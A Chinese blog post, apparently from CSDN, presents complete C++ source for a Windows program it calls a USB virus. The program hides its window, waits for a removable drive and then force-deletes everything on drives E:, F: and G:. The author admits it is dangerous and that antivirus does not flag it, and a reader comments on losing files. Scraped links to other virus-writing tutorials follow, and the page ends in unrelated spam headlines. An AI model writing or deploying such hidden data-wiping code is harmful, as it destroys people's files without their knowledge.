c++删除U盘文件病毒

6 篇文章 3 订阅
订阅专栏

可移动磁盘存储文件非常方便,当然也成为病毒传播的一个重要手段。

今天我写了一个可以删除U盘里文件的程序,大家一起来看看吧。

代码如下:

#include<windows.h>
#include<bits\stdc++.h>
using namespace std;
int main(){
	ShowWindow(GetForegroundWindow(),0);//隐藏窗口
	Sleep(1000);
	while(1){
		char diskPath[5]={0};
		DWORD allDisk=GetLogicalDrives();
    	if(allDisk!=0){
     	   for(int i=0;i<11;i++){
				if((allDisk&1)==1){
				sprintf(diskPath, "%c", 'C'+i);
				strcat(diskPath, ":\\" );
				if(GetDriveType(diskPath)==DRIVE_REMOVABLE){
                if(GetVolumeInformation(diskPath,0,0,0,0,0,0,0)){//如果有U盘插入,将其删除 
						system("del /F /S /Q E:\\");//删除E盘 
						system("del /F /S /Q F:\\");//删除F盘
						system("del /F /S /Q G:\\");//删除G盘 
                        break;
                    }
                }
            }
            allDisk=allDisk>>1;
			}
    	}
	}
	return 0;
}

很容易理解,这个程序就是先隐藏自己,然后默默的等待U盘插入。一旦检测到有U盘插入,删除U盘里所有文件。

若不慎打开,可以在任务管理器里将其关闭:

它不能删除需权限文件、加密文件,但十分危险,有较高的危险性,仅供参考,请大家不要轻易尝试。

360并不把它当成病毒:

视频教程-黑客编程--U盘病毒视频精讲-C/C++
weixin_29322005的博客
05-28 441
黑客编程--U盘病毒视频精讲 从事编程数年,曾留学日本深造,擅长C++、后端...
自己动手编写一个简单的U盘杀毒程序
浪迹天涯的专栏
04-02 3260
 @echo offrem *******请将以下盘符改成自己的机器上U盘的盘符******j:rem ***************如我的U盘通常为J:盘****************color fcif not exist autorun.inf goto endecho 发现autorun病毒del /ashr autorun.infdel /ash autorun.infecho
c++中怎么删除回车_Win10遇到U盘删除提示你需要提供管理员权限才能删除文件怎么解决?...
weixin_32395459的博客
01-30 459
可能大家会遇到这样一个问题,在U盘中进行删除等操作,就会弹出一个文件访问被拒绝的窗口,提示;你需要提供管理员权限才能删除文件,我们点击继续按钮才可以执行操作,遇到这个问题说明管理员权限的问题,下面PCXun.com电脑知识网分享一下U盘删除提示;你需要提供管理员权限才能删除文件解决方法,感兴趣的朋友不要错过了。文件访问被拒绝提示U盘删除提示;你需要提供管理员权限才能删除文件解决...
C++编写U盘感染蠕虫病毒动画教程
12-26
c++编写U盘感染蠕虫病毒的动画视频教程,里面含有详细的讲解过程
u盘病毒制作教程和源码
热门推荐
liujiayu2的专栏
08-08 2万+
U盘病毒制作教程 知识点: --------------------------------------------------------------- 新建文件夹的名字是: 回收站.{645FF040-5081-101B-9F08-00AA002F954E} 这样就可以隐藏里面的文件了,打开此文件夹的时候直接进入回收站 -----------------------------
C++黑客项目:U盘病毒免疫器
m0_47563648的博客
10-18 699
U盘病毒的原理主要是autorun.inf文件 autorun.inf是我们电脑使用中比较常见的文件之一 ,其作用是允许在双击磁盘时自动运行指定的某个文件。但是近几年出现了用autorun.inf文件传播木马或病毒,它通过使用者的误操作让目标程序执行,达到侵入电脑的目的,带来了很大的负面影响。 今天教大家用MFC做一个免疫器 界面: 有一个combo box控件,为它添加一个变量 CComboBox m_CbDrive; 两个变量 wchar_t *AUTORUN =L"antorun.inf"; w
C/C++恶意代码盘点丨自动删除功能
轻松学C语言
06-11 778
点击蓝字关注我们恶意代码的分类包括计算机病毒、蠕虫、木马、后门、Rootkit、流氓软件、间谍软件、广告软件、僵尸(bot) 、Exploit等等,有些技术经常用到,有的也是必然用到。今天我们分享一下文件自动删除。自删除功能对病毒木马来说同样至关重要,它通常在完成目标任务之后删除自身,不留下任何蛛丝马迹,自删除的方法有很多种,常见的有利用MoveFileEx重启删除和利用...
C++读取TXT文件识别特定内容修改
04-14
由于近期需要将一份Word文档转到Markdown格式,但是文件内容较大,自动转换工具转换不能完全满足我的要求,存在问题如下:导出的图片名乱码,一部分换行存在问题。 针对图片名乱码的问题,由于word中的图片拥有一定...
删除文件恢复C++实现
05-27
windows操作系统下,C++编写实现对ntfs及fat32文件系统中被删除文件的恢复。
c++ 计算大文件md5
08-13
c++ 计算大文件md5
用c语言实现对u盘的操作
10-19
介绍了在嵌入式系统利用CH735对u盘的操作,同时介绍了USB总线接口CH735的特点及FAT系统的组成,给出了USB的接口电路及软件流程
C++感染U盘病毒模型
08-30
C++感染U盘病毒模型,供大家参考-------------------------------
禁止指定U盘的使用
04-24
此程序,能禁用除指定U盘外,所有U盘的使用,能只能“弹出”U盘,并具一定的免杀功能
C++删除指定文件夹下N天及之前日志文件的方法
01-20
本文实例讲述了C++删除指定文件夹下N天及之前日志文件的方法。分享给大家供大家参考。具体如下: // 功能:删除nDays天及之前的日志文件 // @nDays: 0-不删除日志,3-删除3天及之前的日志(保留今天、昨天、前天的...
c++ 文件删除 程序自删除
04-09
文件删除一般用于卸载程序 实现:设置本进程为实时执行,快速退出。调用cmd传入参数以删除自己。
Linux C语言删除文件
yueguanyun的专栏
05-30 9817
转自:http://blog.csdn.net/blaider/article/details/41080581 使用“remove”函数。    头文件 #include 有时候需要先清空某个目录里的所有文件,然后再放置新下载文件。需要打开目录,并遍历此目录下的所有文件,然后调用remove函数删除文件 [cpp] view plain
最简单的模拟U盘病毒(Autorun.inf)
IT1995的博客
11-24 7573
最简单的模拟U盘病毒(Autorun.inf)
在程序中移除U盘
chenyujing1234的专栏
11-03 6544
转载请标明是引用于 http://blog.csdn.net/chenyujing1234  欢迎大家拍砖   代码下载(VS2008编译器):http://www.rayfile.com/zh-cn/files/4e98c7cf-25c4-11e2-aeea-0015c55db73d/ 一、实现方法 说明: cr = CM_Request_Device_Eject( DeviceIn
C++超级木马病毒
一个无聊的程序猿
08-16 1万+
提示 请再三考虑是否运行该C++程序,可能会造成电脑严重损害 #include<iostream> #include<stdlib.h> #include<conio.h> using namespace std; int main() { system("set User name"); while(1) { } return 0; }
C++删除文件
最新发布
05-24
C++中,可以使用remove函数来删除文件。该函数的原型如下: ``` int remove(const char* filename); ``` 其中,filename参数是要删除文件名。 示例代码如下: ```c++ #include <iostream> #include <cstdio> using namespace std; int main() { const char* filename = "test.txt"; int ret = remove(filename); if (ret == 0) cout << "文件删除成功!" << endl; else cout << "文件删除失败!" << endl; return 0; } ``` 需要注意的是,remove函数只能删除当前工作目录下的文件,不能删除其他目录下的文件,也不能删除只读文件。如果文件被打开或者被占用,删除操作也会失败。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
18
原创
39
点赞
90
收藏
222
粉丝
关注
私信
写文章

热门文章

  • c++随笔——隐藏窗口 4694
  • c++随笔-删除文件 4636
  • c++system函数————一个函数打天下! 3823
  • 电脑常识——更改鼠标光标(另附一套MC指针) 3199
  • c++也能做动图?——devc++窗口做简单移动 2723

分类专栏

  • 电脑常识 6篇
  • 随笔 3篇
  • devc++ 4篇
  • 木马病毒 6篇

最新评论

  • c++删除U盘文件病毒

    “吉祥”物: 这个很不好意思,只能试试看文件恢复工具有没有办法了,便携的时候设定为直接删除的。

  • c++删除U盘文件病毒

    “吉祥”物: 嗯,在不同环境下开发这个路径不一样,windows下是反斜杠,linux和mac下是正斜杠

  • c++删除U盘文件病毒

    C++代言人: 一不小心打开了,怎么恢复啊???????????????

  • c++删除U盘文件病毒

    Qzc--π--o(n log n): #include <bits\stdc++.h>不对,应该是#include <bits/stdc++.h>

  • c++随笔——隐藏窗口

    浪里个浪46: 请问下隐藏控制台下面的代码是加到主函数里面吗

您愿意向朋友推荐“博客详情页”吗?

  • 强烈不推荐
  • 不推荐
  • 一般般
  • 推荐
  • 强烈推荐
提交

最新文章

  • win11配置检测、win11镜像文件、windows11安装、win11网页预览版、win11虚拟机
  • c++system函数————一个函数打天下!
  • 电脑垃圾太多?自己用c++做一个清理垃圾程序
2021年18篇

目录

目录

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值

两个鬼故事带有瑜字的女孩起名任嘉伦的老婆和宝宝的图片姓翁男孩起名字gougou.com陈姓宝宝起名大全2021昀起名寓意零度战姬2红色通缉令2021在线观看免费完整版新生儿好听的起小名乐文水产公司如何起名免费给起公司名字的软件小孩起小名学校起个名字协会起名翁熄合集婼起名字的寓意我不是药神百度云给钻石戒子起名字玩具公司起名我唾弃你的坟墓1978毫克和克水饺门店起名大全不灭传说冰是睡着的水剧情介绍韩姓男宝宝取名起名大全浅浅一笑竟折妖海天盛宴电影免费 起名聂起名字男孩少年生前被连续抽血16次?多部门介入两大学生合买彩票中奖一人不认账让美丽中国“从细节出发”淀粉肠小王子日销售额涨超10倍高中生被打伤下体休学 邯郸通报单亲妈妈陷入热恋 14岁儿子报警何赛飞追着代拍打雅江山火三名扑火人员牺牲系谣言张家界的山上“长”满了韩国人?男孩8年未见母亲被告知被遗忘中国拥有亿元资产的家庭达13.3万户19岁小伙救下5人后溺亡 多方发声315晚会后胖东来又人满为患了张立群任西安交通大学校长“重生之我在北大当嫡校长”男子被猫抓伤后确诊“猫抓病”测试车高速逃费 小米:已补缴周杰伦一审败诉网易网友洛杉矶偶遇贾玲今日春分倪萍分享减重40斤方法七年后宇文玥被薅头发捞上岸许家印被限制高消费萧美琴窜访捷克 外交部回应联合利华开始重组专访95后高颜值猪保姆胖东来员工每周单休无小长假男子被流浪猫绊倒 投喂者赔24万小米汽车超级工厂正式揭幕黑马情侣提车了西双版纳热带植物园回应蜉蝣大爆发当地回应沈阳致3死车祸车主疑毒驾恒大被罚41.75亿到底怎么缴妈妈回应孩子在校撞护栏坠楼外国人感慨凌晨的中国很安全杨倩无缘巴黎奥运校方回应护栏损坏小学生课间坠楼房客欠租失踪 房东直发愁专家建议不必谈骨泥色变王树国卸任西安交大校长 师生送别手机成瘾是影响睡眠质量重要因素国产伟哥去年销售近13亿阿根廷将发行1万与2万面值的纸币兔狲“狲大娘”因病死亡遭遇山火的松茸之乡“开封王婆”爆火:促成四五十对奥巴马现身唐宁街 黑色着装引猜测考生莫言也上北大硕士复试名单了德国打算提及普京时仅用姓名天水麻辣烫把捣辣椒大爷累坏了

两个鬼故事 XML地图 TXT地图 虚拟主机 SEO 网站制作 网站优化